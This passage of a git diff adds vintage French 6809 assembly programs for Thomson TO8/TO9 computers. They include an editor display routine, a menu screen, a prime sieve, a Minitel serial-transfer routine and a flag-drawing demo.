+DEL2 CMPU #0
+ BLO DEL1
+DEL3 LDA ,U+
+ STA -2,U
+DEL4 CMPU #0
+ BLO DEL3
+ LBRA AFFICH
+
+PREPEC LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDU #$5F40
+ LDX #0
+ TFR X,Y
+ LDA #10
+FOND0 LDB #200
+FOND1 PSHU X,Y
+ DECB
+ BNE FOND1
+ DECA
+ BNE FOND0
+ LDU #$5F40
+ LDX #$FFFF
+ TFR X,Y
+ LDA #12
+FILET0 LDB #20
+FILET1 PSHU X,Y
+ DECB
+ BNE FILET1
+ LEAU -$280,U
+ DECA
+ BNE FILET0
+
+ LDA $E7C3
+ ANDA #$FE
+ STA $E7C3
+ LDU #$5F40
+ LDA CFILET
+ TFR A,B
+ TFR D,X
+ TFR D,Y
+ LDA #12
+FILET2 LDB #20
+FILET3 PSHU X,Y
+ DECB
+ BNE FILET3
+ LEAU -$280,U
+ DECA
+ BNE FILET2
+
+AFFICH LDA #11
+ STA COMPTL
+ LDA #40
+ STA COMPT
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDU #MEMCOU
+ LDY #$40F0
+ LDX PTEXT
+ LEAX -$E0,X
+ CMPX DEBTXT
+ LBHS AT2
+AT0 LDD CRIEN
+ STA ,U+
+ LDD #$FF00
+ STB -$78,Y
+ STB -$50,Y
+ STB -$28,Y
+ STA ,Y
+ STA $28,Y
+ STB $50,Y
+ STB $78,Y
+ LEAY $118,Y
+ STB -$78,Y
+ STB -$50,Y
+ STA -$28,Y
+ STA ,Y
+ STB $28,Y
+ STB $50,Y
+ STB $78,Y
+ LEAY -$117,Y
+ DEC COMPT
+ BNE AT1
+ DEC COMPTL
+ LDA #40
+ STA COMPT
+ LEAY 680,Y
+AT1 LEAX 1,X
+ CMPX DEBTXT
+ BLO AT0
+AT2 STU PTRCOU
+ LBRA AT19
+AT3 LDB ,X+
+ CMPB #$90
+ BLO AT4
+ SUBB #$90
+ LBRA GRAPH
+AT4 CMPB #$20
+ LBHS CARA
+AT5 LDA FLGCOM
+ BMI AT13
+ LBNE AT18
+ CMPB #3
+ BNE AT6
+ LDU #$8300
+ LBRA COMSET
+AT6 CMPB #6
+ BNE AT7
+ LDU #$8600
+ LBRA COMSET
+AT7 CMPB #4
+ BEQ AT8
+ CMPB #5
+ BEQ AT8
+ CMPB #9
+ BNE AT9
+AT8 LDU #0
+ LBRA COMSET
+AT9 CMPB #1
+ BEQ AT10
+ CMPB #7
+ BEQ AT10
+ CMPB #22
+ BNE AT11
+AT10 LDU #$0101
+ LBRA COMSET
+AT11 CMPB #2
+ BEQ AT12
+ CMPB #11
+ BEQ AT12
+ CMPB #15
+ BEQ AT12
+ CMPB #16
+ BEQ AT12
+ CMPB #20
+ BNE ERRCOM
+AT12 LDU #$0200
+ BRA COMSET
+AT13 CMPA #$83
+ BNE AT17
+ CMPB #1
+ BNE AT15
+AT14 LDU #$0280
+ BRA COMSET
+AT15 CMPB #9
+ BEQ AT14
+ CMPB #16
+ BNE AT16
+ LDU #$1080
+ BRA COMSET
+AT16 CMPB #18
+ BEQ AT8
+ CMPB #20
+ BNE ERRCOM
+ LDU #$0180
+ BRA COMSET
+AT17 CMPA #$86
+ BNE ERRCOM
+ CMPB #1
+ BEQ AT8
+ CMPB #2
+ BEQ AT8
+ BRA ERRCOM
+AT18 DEC FLGCOM
+ TST TYPPAR
+ BEQ PARA9
+ BMI PARAF
+PARA3 CMPB #3
+ BHI ERRPAR
+PARA9 CMPB #9
+ BHI ERRPAR
+PARAF CMPB #15
+ BHI ERRPAR
+ LDA CPAR
+ BRA PARA
+GRAPH LDA CGRA
+ CMPB #31
+ BLS PARA
+ERRPAR LDA CERR
+ LDU #0
+PARA CMPB #10
+ BLO PARAS
+ ADDB #7
+PARAS ADDB #16
+ BRA CARAF
+ERRCOM LDA CERR
+ LDU #0
+ BRA CARAV
+COMSET LDA CCOM
+CARAV ADDB #32
+ BRA CARAS
+CARA SUBB #32
+ TST FLGCOM
+ BNE ERRCOM
+ LDA CCAR
+ LDU #0
+CARAS STU FLGCOM
+CARAF LDU PTRCOU
+ STA ,U+
+ STU PTRCOU
+ LDA #16
+ MUL
+ ADDD GECAR
+ TFR D,U
+ PULU A,B
+ STA -$78,Y
+ STB -$50,Y
+ PULU A,B
+ STA -$28,Y
+ STB ,Y
+ PULU A,B
+ STA $28,Y
+ STB $50,Y
+ PULU A,B
+ STA $78,Y
+ LEAY $118,Y
+ STB -$78,Y
+ PULU A,B
+ STA -$50,Y
+ STB -$28,Y
+ PULU A,B
+ STA ,Y
+ STB $28,Y
+ PULU A,B
+ STA $50,Y
+ STB $78,Y
+ LEAY -$117,Y
+ DEC COMPT
+ BNE AT19
+ DEC COMPTL
+ LBEQ AFFCOU
+ LDA #40
+ STA COMPT
+ LEAY 680,Y
+AT19 CMPX FINTXT
+ LBLS AT3
+ LDU PTRCOU
+AT20 LDD CRIEN
+ STA ,U+
+ LDD #$FF00
+ STB -$78,Y
+ STB -$50,Y
+ STB -$28,Y
+ STA ,Y
+ STA $28,Y
+ STB $50,Y
+ STB $78,Y
+ LEAY $118,Y
+ STB -$78,Y
+ STB -$50,Y
+ STA -$28,Y
+ STA ,Y
+ STB $28,Y
+ STB $50,Y
+ STB $78,Y
+ LEAY -$117,Y
+ DEC COMPT
+ BNE AT20
+ DEC COMPTL
+ BEQ AFFCOU
+ LDA #40
+ STA COMPT
+ LEAY 680,Y
+ BRA AT20
+AFFCOU LDA $E7C3
+ ANDA #$FE
+ STA $E7C3
+ LDU #MEMCOU
+ LDX #$4055
+ LDA #11
+ STA COMPTL
+AC0 LDA #8
+ STA COMPT
+AC1 PULU A,B,Y,DP
+ EXG U,X
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU 45,U
+ PSHU A,B,Y,DP
+ LEAU -590,U
+ EXG U,X
+ DEC COMPT
+ BNE AC1
+ LEAX 680,X
+ DEC COMPTL
+ BNE AC0
+ LBRA GETC
+CLIGNO COM FLGCLI
+ LDY #$4EF0
+ TST FLGMOD
+ LBMI CLIPLN
+ LDA -$78,Y
+ ADDA #128
+ STA -$78,Y
+ LDA -$50,Y
+ ADDA #128
+ STA -$50,Y
+ LDA -$28,Y
+ ADDA #128
+ STA -$28,Y
+ LDA ,Y
+ ADDA #128
+ STA ,Y
+ LDA $28,Y
+ ADDA #128
+ STA $28,Y
+ LDA $50,Y
+ ADDA #128
+ STA $50,Y
+ LDA $78,Y
+ ADDA #128
+ STA $78,Y
+ LDA $A0,Y
+ ADDA #128
+ STA $A0,Y
+ LDA $C8,Y
+ ADDA #128
+ STA $C8,Y
+ LDA $F0,Y
+ ADDA #128
+ STA $F0,Y
+ LDA $118,Y
+ ADDA #128
+ STA $118,Y
+ LDA $140,Y
+ ADDA #128
+ STA $140,Y
+ LDA $168,Y
+ ADDA #128
+ STA $168,Y
+ LDA $190,Y
+ ADDA #128
+ STA $190,Y
+ LDA $1B8,Y
+ ADDA #128
+ STA $1B8,Y
+ LDA $1E0,Y
+ ADDA #128
+ STA $1E0,Y
+ RTS
+CLIPLN COM -$78,Y
+ COM -$50,Y
+ COM -$28,Y
+ COM ,Y
+ COM $28,Y
+ COM $50,Y
+ COM $78,Y
+ COM $A0,Y
+ COM $C8,Y
+ COM $F0,Y
+ COM $118,Y
+ COM $140,Y
+ COM $168,Y
+ COM $190,Y
+ COM $1B8,Y
+ COM $1E0,Y
+ RTS
+GETC CLR FLGCLI
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+GC0 LBSR CLIGNO
+ LDX #$2000
+GC1 ANDCC #$FE
+GC2 JSR $E809
+ BCS GC3
+ LEAX -1,X
+ BNE GC2
+ BRA GC0
+GC3 JSR $E806
+ TSTB
+ BEQ GC1
+ TST FLGCLI
+ BEQ GC4
+ LBSR CLIGNO
+GC4 CMPB #24 )
+ BNE GC4BIS )à supprimer
+K NOP )
+GC4BIS CMPB #1 Mode ACCENT
+ BEQ ACC
+ CMPB #22
+ BNE GC5
+ACC LDD MACC
+ BRA MODE
+GC5 CMPB #2 Mode CARACT
+ BEQ SMCAR
+ CMPB #3
+ BNE GC6
+SMCAR LDD MCAR
+ BRA MODE
+GC6 CMPB #4 Mode DIFFUSION
+ BNE GC7
+ JMP GC7 Saut à DIFF.
+GC7 CMPB #5 Mode ESSAI
+ BNE GC8
+ JMP GC8 Saut à ESSAI
+GC8 CMPB #6 Mode FONCTION
+ BNE GC9
+ LDD MCOM
+MODE STB FLGMOD
+ LDB #$1B
+ JSR $E803
+ TFR A,B
+ JSR $E803
+ TST FLGACG
+ BEQ GOGET0
+ CLR FLGACG
+ LBRA DELETE
+GOGET0 LBRA GETC
+GC9 CMPB #7 Mode GRAPHISMES
+ BNE GC10
+ LDD MGRA
+ BRA MODE
+GC10 CMPB #8
+ BNE GC12
+ LDX PTEXT
+ CMPX DEBTXT
+ BLS GOGET0
+ LEAX -1,X
+ STX PTEXT
+GC11 LBRA AFFICH
+GC12 CMPB #9
+ BNE GC13
+ LDX PTEXT
+ CMPX FINTXT
+ BHI GOGET0
+ LEAX 1,X
+ STX PTEXT
+ BRA GC11
+GC13 CMPB #10
+ BNE GC14
+ LDX PTEXT
+ LEAX 40,X
+ CMPX FINTXT
+ BHI GOGET0
+ STX PTEXT
+ BRA GC11
+GC14 CMPB #11
+ BNE GC15
+ LDX PTEXT
+ LEAX -40,X
+ CMPX DEBTXT
+ BLO GOGET0
+ STX PTEXT
+ BRA GC11
+GC15 CMPB #13 Mémorisation
+ BNE GC16 pour tiroir ?
+ JMP GC16
+GC16 CMPB #16 Mode PARAMETRE
+ BNE GC17
+ LDD MPAR
+ LBRA MODE
+GC17 CMPB #29 DELETE
+ LBEQ DELETE
+ LDA FLGMOD
+ BNE GC20
+ CMPB #32
+ BLO GC18
+ CMPB #128
+ BLO GC19
+GC18 LBRA GETC
+GC19 LBRA INSERT
+GC20 CMPB #64
+ BLO GC205
+ ANDB #$DF
+GC205 CMPA #$96
+ LBNE GCOM
+ LDX PTEXT
+ LDA ,X
+ CMPA #99
+ BNE GC21
+ CMPB #67
+ BNE GC30
+ LDA #128
+ STA ,X
+ BRA AFFACC
+GC21 CMPA #97
+ BEQ LETA
+ CMPA #129
+ BLO GC26
+ CMPA #132
+ BHI GC26
+LETA CMPB #65
+ BNE GC22
+ LDA #129
+ BRA AFFACC
+GC22 CMPB #67
+ BNE GC23
+ LDA #130
+ BRA AFFACC
+GC23 CMPB #84
+ BNE GC24
+ LDA #131
+ BRA AFFACC
+GC24 CMPB #71
+ BNE GC30
+ LDA #132
+ BRA AFFACC
+GC26 CMPA #101
+ BEQ LETE
+ CMPA #133
+ BLO GC31
+ CMPA #136
+ BHI GC31
+LETE CMPB #65
+ BNE GC27
+ LDA #133
+ BRA AFFACC
+GC27 CMPB #67
+ BNE GC28
+ LDA #134
+ BRA AFFACC
+GC28 CMPB #84
+ BNE GC29
+ LDA #135
+ BRA AFFACC
+GC29 CMPB #71
+ BNE GC30
+ LDA #136
+AFFACC STA ,X
+ LBRA AFFICH
+GC30 LBRA GETC
+GC31 CMPA #105
+ BEQ LETI
+ CMPA #137
+ BLO GC33
+ CMPA #138
+ BHI GC33
+LETI CMPB #67
+ BNE GC32
+ LDA #137
+ BRA AFFACC
+GC32 CMPB #84
+ BNE GC30
+ LDA #138
+ BRA AFFACC
+GC33 CMPA #111
+ BEQ LETO
+ CMPA #139
+ BLO GC35
+ CMPA #140
+ BHI GC35
+LETO CMPB #67
+ BNE GC34
+ LDA #139
+ BRA AFFACC
+GC34 CMPB #84
+ BNE GC30
+ LDA #140
+ BRA AFFACC
+GC35 CMPA #117
+ BEQ LETU
+ CMPA #141
+ BLO GC37
+ CMPA #143
+ BHI GC37
+LETU CMPB #67
+ BNE GC36
+ LDA #141
+ BRA AFFACC
+GC36 CMPB #84
+ BNE GC37
+ LDA #142
+ BRA AFFACC
+GC37 CMPB #71
+ BNE GC30
+ LDA #143
+ BRA AFFACC
+GCOM CMPA #31
+ BNE GPAR
+ SUBB #64
+ BLE GOGET1
+ CMPB #22
+ BHI GOGET1
+ CMPB #8
+ BEQ GOGET1
+ CMPB #10
+ BEQ GOGET1
+ CMPB #17
+ BEQ GOGET1
+ CMPB #19
+ BEQ GOGET1
+ CMPB #21
+ BEQ GOGET1
+ CMPB #12
+ BLO GINS
+ CMPB #14
+ BLS GOGET1
+GINS LBRA INSERT
+GPAR CMPA #30
+ BNE GGRA
+ SUBB #48
+ BMI GOGET1
+ CMPB #9
+ BLS GINS
+ SUBB #7
+ CMPB #10
+ BLO GOGET1
+ CMPB #15
+ BLS GINS
+GOGET1 LBRA GETC
+GGRA CMPA #29
+ BNE GOGET1
+ SUBB #48
+ BMI GOGET1
+ CMPB #9
+ BHI GOGET1
+ COM FLGACG
+ BEQ GGRA2
+ STB PILEB
+ ADDB #48
+ BRA GINS
+GGRA2 LDX PTEXT
+ PSHS B
+ LDA #10
+ LDB PILEB
+ MUL
+ ADDB ,S+
+ CMPB PTRGRA
+ BLS GGRA3
+ LEAX -1,X
+ STX PTEXT
+ LBRA DELETE
+GGRA3 ADDB #$90
+ STB ,-X
+ LBRA AFFICH
+
+
+
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/unknown/MENU.ASM b/code/3rdparty/sources3-lambinet/unknown/MENU.ASM
new file mode 100644
index 0000000..1d141c0
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/unknown/MENU.ASM
@@ -0,0 +1,292 @@
+
+
+***** ENTETE *****
+
+***** EQUATES ****
+
+T EQU $B800
+
+COMPT EQU T
+COMPTL EQU T+1
+COMPT1 EQU T+2
+COMPT2 EQU T+3
+GECAR EQU T+4
+FLACLI EQU T+6
+
+***** PROGRAMME **
+
+ ORG $C000
+G LDX #$9E00
+ STX GECAR
+ LDX #PARAM
+ LDA ,X+
+PUTC LDB ,X+
+ JSR $E803
+ DECA
+ BNE PUTC
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+ PSHS X
+ CLR FLACLI
+ LDX #$4000
+ LDB #80
+ BSR GRAND
+ LEAX -1,X
+ BSR P0
+ LEAX 159,X
+ LDD #$38FF
+ BSR P1
+ LEAX 2079,X
+ BSR P0
+ LEAX -1,X
+ LDB #79
+ BSR GRAND
+ LDD #$08FF
+ BSR P1
+ LDB #49
+ LEAX -1,X
+ BSR GRAND
+ BRA AT0
+
+GRAND BSR ADRCAR
+OCT LDA ,Y+
+ LDB #4
+ STB COMPT
+NOCT CLRB
+ ROLA
+ BCC PB1
+ ORB #$F0
+PB1 ROLA
+ BCC PB0
+ ORB #$F
+PB0 STB $78,X
+ STB $50,X
+ STB $28,X
+ STB ,X+
+ DEC COMPT
+ BNE NOCT
+ LEAX 156,X
+ DEC COMPTL
+ BNE OCT
+ LEAX -476,X
+ RTS
+
+P0 LDD #$080F
+ BSR P1
+ LEAX 2079,X
+ LDD #$08F0
+ BRA P1
+P1 STB ,X
+ LEAX 40,X
+ DECA
+ BNE P1
+ LEAX -2398,X
+ RTS
+
+ADRCAR LDA #16
+ STA COMPTL
+ MUL
+ ADDD GECAR
+ TFR D,Y
+ RTS
+
+AT0 LDY #$403A
+ LDD #$14EB
+ LBSR CADRE
+ PULS U
+AT3 LDA ,U+
+ BEQ AT5
+ STA COMPT
+ LDX ,U++
+AT4 LDB ,U+
+ BSR PETIT
+ DEC COMPT
+ BNE AT4
+ BRA AT3
+PETIT BSR ADRCAR
+MO1 LDB ,Y+
+ STB ,X
+ LEAX 40,X
+ DEC COMPTL
+ BNE MO1
+ LEAX -639,X
+ RTS
+AT5 LDA ,U+
+ BEQ AT9
+ STA COMPT
+ LDX ,U++
+AT6 CLR FLACLI
+ LDB ,U+
+ CMPB #73
+ BNE AT65
+ COM FLACLI
+AT65 CMPB #46
+ BEQ AT7
+MOYEN LBSR ADRCAR
+M0 LDA ,Y+
+ STA COMPT1
+ LDA #8
+ STA COMPT2
+ CLRA
+ CLRB
+M1 ROL COMPT1
+ BCC M2
+ ROLB
+ ORA #$80
+ ROLA
+ ROLB
+ ROLA
+ BRA M3
+M2 LSLB
+ ROLA
+ LSLB
+ ROLA
+M3 DEC COMPT2
+ BNE M1
+ TST FLACLI
+ BNE M4
+ ANDB #$FE
+ STD ,X
+ BRA M5
+M4 RORA
+ RORB
+ RORA
+ RORB
+ RORA
+ RORB
+ ANDB #$FC
+ STB ,X
+M5 LEAX 40,X
+ DEC COMPTL
+ BNE M0
+ TST FLACLI
+ BNE M6
+ LEAX -638,X
+ BRA AT8
+M6 LEAX -639,X
+ BRA AT8
+AT7 LBSR PETIT
+AT8 DEC COMPT
+ BNE AT6
+ BRA AT5
+
+AT9 LDY #$4FA4
+ LDD #$1EE1
+ BSR CADRE
+ BRA AT10
+
+
+CADRE STB COMPT
+ LDB #$3F
+ STB -40,Y
+ STB $C30,Y
+ LDB #$7F
+ STB $C08,Y
+ STB ,Y+
+ LDB #$FF
+CA0 STB $C30,Y
+ STB $C08,Y
+ STB -40,Y
+ STB ,Y+
+ DECA
+ BNE CA0
+ LDD #$FCFE
+ STA -40,Y
+ STA $C30,Y
+ STB $C08,Y
+ STB ,Y
+ LDX #76
+ LDB COMPT
+CA1 LEAY 40,Y
+ LDA #$C0
+ STA B,Y
+ LDA #3
+ STA ,Y
+ LEAX -1,X
+ BNE CA1
+ RTS
+
+AT10 CLR FLACLI
+ LDA $E7C3
+ ANDA #$FE
+ STA $E7C3
+CM1 LDU #$5BFC
+ LDA #$F6
+ COM FLACLI
+ BNE CM2
+ LDA #$CB
+CM2 TFR A,B
+ TFR D,X
+ TFR D,Y
+ LDA #80
+CM3 LEAU -8,U
+ LDB #8
+CM4 PSHU X,Y
+ DECB
+ BNE CM4
+ DECA
+ BNE CM3
+ TST FLACLI
+ BNE CM5
+ LDA #$CE
+ STA ,U
+ STA 31,U
+ STA 40,U
+ STA 71,U
+ LEAU $C30,U
+ STA ,U
+ STA 31,U
+ STA 40,U
+ STA 71,U
+CM5 LDX #$2000
+ ANDCC #$FE
+CM6 LEAX -1,X
+ BEQ CM1
+ JSR $E809
+ BCC CM6
+ JSR $E806
+ TSTB
+ BEQ CM6
+ CMPB #49
+ LBEQ EDIT DIFFUSION
+ CMPB #51
+ LBEQ EDIT GRAPHISME
+ CMPB #50
+ BNE CM6
+EDIT NOP
+
+FINAL LDB #$1B
+ JSR $E803
+ LDB #$60
+ JSR $E803
+K NOP
+PARAM FCB 13,27,68,27,86,27,102,31
+ FCB 18,20,31,32,32,12
+ FCB 20,$41,$7B
+ FCC "Association pour les"
+ FCB 18,$45,$3C
+ FCC "Services Connexes"
+ FCB 16,$48,$FD,132
+ FCC " l'Informatique"
+ FCB 12,$4A,$03
+ FCC "Version 1.02"
+ FCB 40,$4C,$80
+ FCC "Publicit"
+ FCB 133
+ FCC " et Information par "
+ FCC "Ordinateur."
+ FCB 40,$5C,$C0
+ FCC "ASCI Association loi 190"
+ FCC "1 Copyright 1989"
+ FCB 0,20,$50,$E6
+ FCC "DIFFUSION..........1"
+ FCB 22,$54,$A6
+ FCC "EDITION..............2"
+ FCB 19,$58,$66
+ FCC "GRAPHISME.........3"
+ FCB 0
+
+
+
+ END
diff --git a/code/3rdparty/sources4-divers/ASCINEWS/CRIBLE.ASM b/code/3rdparty/sources4-divers/ASCINEWS/CRIBLE.ASM
new file mode 100644
index 0000000..c70a64e
--- /dev/null
+++ b/code/3rdparty/sources4-divers/ASCINEWS/CRIBLE.ASM
@@ -0,0 +1,126 @@
+*NOMBRES PREMIERS
+*ASCINEWS 4 juin 1993 / ASCI (c)
+*par Michel SAINT-BRIANT
+
+LIMITE EQU 28 jusqu'a 1 000 000
+*LIMITE EQU 60 TO8sans ext.256Ko
+*LIMITE EQU 124 TO8+256ko ou TO9+
+
+MAXI EQU 1024 jusqu'a 1 000 000
+*MAXI EQU 1846 TO8sans ext.256ko
+*MAXI EQU 2757 TO8+256ko ou TO9+
+
+ ORG $8000
+
+*remise à zero sur toutes les banks
+
+ PSHS A,B,DP,CC,X,Y,U
+G ORCC #$50
+ LDU #0
+ LDD #$0307
+ STA $E7E5
+ STB $60CE
+ LDA #LIMITE
+ LSRA
+ LSRA division par 4
+ SUBA #3 =13 banks pour TO8
+NEWBNK LDX #$A000
+NULL STU ,X++
+ CMPX #$E000
+ BLO NULL
+ INC $E7E5
+ DECA
+ BNE NEWBNK
+
+*algorithme du crible d'Eratosthene
+
+ LDD #$0301
+ STA $E7E5
+ STB >$A000 (1 pas premier)
+ LDU #RETENU+1
+ LDD #$0001
+ STD POINTR+1
+
+*nombre suivant
+
+NEWNBR LDD #$0C03
+ STA RETENU
+ STB $E7E5
+ LDD POINTR+1
+ ADDD #2 impair de 2 en 2
+ STD POINTR+1
+ CMPD #MAXI est-ce le dernier?
+ BHI FIN
+ ADDD POINTR+1
+ STD AJOUTE+2 multiples impairs
+
+*le nombre est-il premier?
+
+ LSRA
+ RORB
+ LSRA
+ RORB
+ PSHS B
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ ADDA #$A0
+ TFR D,Y
+ PULS B
+ LDA #1
+ ANDB #7
+ BEQ ZERO0
+DECAL0 LSLA
+ DECB
+ BNE DECAL0
+ZERO0 ANDA ,Y
+ BNE NEWNBR sinon autre nombre
+
+*si oui on marque tous ses multiples
+
+POINTR LDX #0
+AJOUTE LEAX >$FFFF,X
+ CMPX AJOUTE+2
+ BHS PASRET si pas debordement
+ INC RETENU
+ LDA RETENU
+ CMPA #LIMITE
+ BHS NEWNBR
+ LSRA
+ LSRA
+ STA $E7E5
+PASRET LDA RETENU
+ STA ,U
+ TFR X,D
+ LSR ,U
+ RORA
+ RORB
+ PSHS B
+ LSR ,U
+ RORA
+ RORB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ ADDA #$A0
+ TFR D,Y
+ PULS B
+ LDA #1
+ ANDB #7
+ BEQ ZERO1
+DECAL1 LSLA
+ DECB
+ BNE DECAL1
+ZERO1 ORA ,Y
+ STA ,Y
+ BRA AJOUTE
+FIN PULS A,B,CC,DP,X,Y,U,PC
+
+
+RETENU FCB 0
+
+ END
diff --git a/code/3rdparty/sources4-divers/ASCINEWS/DUPLEX.ASM b/code/3rdparty/sources4-divers/ASCINEWS/DUPLEX.ASM
new file mode 100644
index 0000000..fc79e93
--- /dev/null
+++ b/code/3rdparty/sources4-divers/ASCINEWS/DUPLEX.ASM
@@ -0,0 +1,196 @@
+******************************
+* *
+* DUPLEX : Système d'échange *
+* de données entre *
+* TO8, TO8D, TO9+ *
+* et Minitel, en *
+* un seul sens *
+* Michel à la fois. *
+* SAINT-BRIANT ASCI (c) *
+* * version
+************************* du 15/7/93
+
+
+* Les accents sont transcodés dans les
+* deux sens.
+
+
+ ORG $9000
+
+
+* EMISSION DE DONNEES A 1200 BAUDS
+* DONNEES SUR 7 bits, 1 bit start
+* 1 bit stop, parité paire
+* compatible MINITEL
+* les données sont inscrites sur la
+* bank courante depuis $A000 et ter-
+* minées par un code supérieur à $7F
+* ($FF ou 255 par exemple)
+
+EMIT PSHS U,Y,X,DP,B,A,CC
+ ORCC #$50
+ LDD #$E7FD
+ TFR A,DP
+ STB <$C2
+ LDB <$C5
+ PSHS B,A
+ LDU #$A000
+ CLRB
+EMIT0 LDA #$07
+ STA ,S
+ LDX #$61
+ STX <$C6
+ LDA #$A2
+ STA <$C5
+ CLRA
+ BSR ROUT2
+EMIT1 LSRB
+ BCS EMIT2
+ BSR ROUT2
+ BRA EMIT3
+EMIT2 BSR ROUT1
+ INCA
+EMIT3 DEC ,S
+ BNE EMIT1
+ BITA #$01
+ BNE EMIT4
+ BSR ROUT2
+ BRA EMIT5
+EMIT4 BSR ROUT1
+EMIT5 LDA #10
+EMIT6 DECA
+ BNE EMIT6
+ BSR ROUT1
+ LDB ,U+
+ BMI FINEMI
+ CMPB #$16
+ BNE EMIT0
+ LDB #$19
+ BRA EMIT0
+FINEMI LDA <$C5
+ ORA #$80
+ STA <$C5
+ LDX #$0033
+EMIT7 LEAX -1,X
+ BNE EMIT7
+ PULS A,B
+ STB <$C5
+ LDD #$1800
+ STD <$C6
+ PULS CC,A,B,DP,X,Y,U,PC
+
+
+ROUT1 PSHS X,A
+ LDX #$0061
+TEMPO1 LEAX -1,X
+ BNE TEMPO1
+ LDA <$C5
+ ORA #$80
+ BRA FINROU
+ROUT2 PSHS X,A
+ LDX #$0061
+TEMPO2 LEAX -1,X
+ BNE TEMPO2
+ LDA <$C5
+ ANDA #$7F
+ BRA FINROU
+FINROU STA <$C5
+ PULS A,X,PC
+
+
+
+* RECEPTION DE DONNEES A 1200 BAUDS
+* DONNEES SUR 7 bits, 1 bit start
+* 1 bit stop, parité paire
+* compatible MINITEL
+* les données sont inscrites sur la
+* bank courante depuis $A000 tant que
+* la touche 'Envoi' n'est pas pressée.
+* -> code 0 pour la fin des données.
+
+
+RECEIV PSHS U,Y,X,DP,B,A,CC
+ LDU #$A000
+ LDA #$E7
+ PSHS A
+ TFR A,DP
+RECE1 LDA #$08
+ STA ,S
+ LDA <$CA
+ ANDA #$C4
+ STA <$CA
+ LDA <$C8
+ LDY #$0000
+ LDB #$1E
+TEMPO3 LEAY -1,Y
+ BNE RECE2
+ DECB
+ BEQ RECE10
+ LDY #$0000
+RECE2 LDA <$CA
+ BITA #$40
+ BEQ TEMPO3
+ ANDCC #$FE
+ LDX #$0013
+RECE4 LEAX -1,X
+ BNE RECE4
+RECE5 BCC RECE7
+ BSR RECE12
+ BCS RECE6
+ RORB
+ ANDCC #$FE
+ BRA RECE9
+RECE6 RORB
+ ORCC #$01
+ BRA RECE9
+RECE7 BSR RECE14
+ BCC RECE8
+ RORB
+ ORCC #$01
+ BRA RECE9
+RECE8 RORB
+ ANDCC #$FE
+ BRA RECE9
+RECE9 DEC ,S
+ BNE RECE5
+ ANDB #$7F
+ BRA RECE11
+RECE10 LDB #$FF
+RECE11 LDA -1,U
+ CMPD #$1341
+ BEQ FINREC
+ CMPB #$19
+ BNE ECRIRE
+ LDB #$16
+ECRIRE STB ,U+
+ BRA RECE1
+FINREC CLR -1,U
+ PULS A
+ PULS CC,A,B,DP,X,Y,U,PC
+
+RECE12 LDA <$CA
+ ANDA #$C4
+ STA <$CA
+ LDA <$C8
+ BSR TEMPO4
+ LDA <$CA
+ ANDA #$40
+ BNE RECE15
+RECE13 ORCC #$01
+ RTS
+RECE14 LDA <$CA
+ ORA #$10
+ STA <$CA
+ LDA <$C8
+ BSR TEMPO4
+ LDA <$CA
+ ANDA #$40
+ BNE RECE13
+RECE15 ANDCC #$FE
+ RTS
+TEMPO4 LDX #$005E
+TEMPO5 LEAX -1,X
+ BNE TEMPO5
+ RTS
+
+ END
diff --git a/code/3rdparty/sources4-divers/ASCINEWS/PATRIOTE.ASM b/code/3rdparty/sources4-divers/ASCINEWS/PATRIOTE.ASM
new file mode 100644
index 0000000..7fa4d47
--- /dev/null
+++ b/code/3rdparty/sources4-divers/ASCINEWS/PATRIOTE.ASM
@@ -0,0 +1,70 @@
+*********************************
+* * *
+* PATRIOTE * Affichage OVERSCAN *
+* * *
+*********************************
+* *
+* AFFICHAGE DU DRAPEAU FRANCAIS *
+* *
+*********************************
+* *
+* Pour ASCINEWS 3 / ASSEMBLEUR6 *
+* Michel SAINT-BRIANT / ASCI(C) *
+* *
+*********************************
+
+
+ ORG $8000
+
+ PSHS U,Y,X,DP,B,A,CC
+G ORCC #$50
+ LDU #$E7DD
+ LDY #$E7E7
+ATTRA0 LDA ,Y
+ BPL ATTRA0
+ATTRA1 LDA ,Y
+ BMI ATTRA1
+ LDX #624
+ LDY #750 =750/25=30 s
+ LDB #4
+ STB ,U
+ BRA DEBUT
+
+BLEU LDB #4 2 us ) ROUGE
+ STB ,U 4 us ___)__6 us
+ NOP ) )
+ NOP ) )
+ NOP ) ) BLEU
+ NOP ) 7x2 us )
+DEBUT NOP ) )
+ NOP ) )
+ NOP ) ) 20 us
+BLANC LDB #7 2 us )
+ STB ,U 4 us ___)_______
+ NOP ) )
+ NOP ) )
+ NOP ) ) BLANC
+ NOP ) 7x2 us )
+ NOP ) )
+ NOP ) )
+ NOP ) ) 20 us
+ROUGE LDB #1 2 us )
+ STB ,U 4 us ___)_______
+ NOP ) )
+ NOP ) ) ROUGE
+ NOP ) 5x2 us )
+ NOP ) ) 18 us
+ NOP ) ) +
+ LEAX -1,X 5 us ) 6 us
+ BNE BLEU 3 us ___)_
+ LDB #4 2 us ) 6 us
+ STB ,U 4 us ___)_
+ LDX #624 3 us )
+ LEAY -1,Y 5 us ) 14 us
+ LBNE BLANC 6 us ______)
+
+FIN CLR ,U
+ ANDCC #$AF
+K PULS CC,A,B,DP,X,Y,U,PC
+
+ END
diff --git a/code/3rdparty/sources4-divers/BUDGET.ASM b/code/3rdparty/sources4-divers/BUDGET.ASM
new file mode 100644
index 0000000..500c2b4
--- /dev/null
+++ b/code/3rdparty/sources4-divers/BUDGET.ASM
@@ -0,0 +1,554 @@
+****************************************
+* *
